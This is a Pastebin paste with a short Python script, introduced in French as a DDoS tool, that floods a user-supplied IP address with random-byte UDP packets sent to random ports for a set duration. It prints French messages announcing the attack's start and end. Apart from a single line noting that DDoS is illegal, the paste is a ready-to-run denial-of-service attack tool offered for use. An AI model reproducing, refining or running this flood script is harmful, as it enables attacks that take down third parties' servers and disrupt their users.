Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Hello je vous présente un Script DDoS Python by Advanced !
- #UTF-8
- #!/usr/bin/python
- #Le DDoS est illégal !.
- import socket,random,sys,time
- if len(sys.argv) != 4:
- print("Windows : py udp.py [Ip] [Bytes] [Time]")
- print("Linux : python udp.py [Ip] [Bytes] [Time]")
- print("Script Python UDP By Advanced")
- sys.exit(1)
- qIP = sys.argv[1]
- qPSize = int(sys.argv[2])
- qDuration = int(sys.argv[3])
- qClock = (lambda:0, time.clock)[qDuration > 0]
- qDuration = (1, (qClock() + qDuration))[qDuration > 0]
- qPacket = random._urandom(qPSize)
- qSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- print("Script UDP By Advanced")
- print("Lancement de l'attaque sur %s avec %s bytes pendant %s secondes" % (qIP, qPSize, qDuration or 'Infinite'))
- while True:
- if (qClock() < qDuration):
- qPort = random.randint(1, 65535)
- qSocket.sendto(qPacket, (qIP, qPort))
- else:
- break
- print("=====================================================================================")
- print("Attaque fini")
Advertisement
Add Comment
Please, Sign In to add comment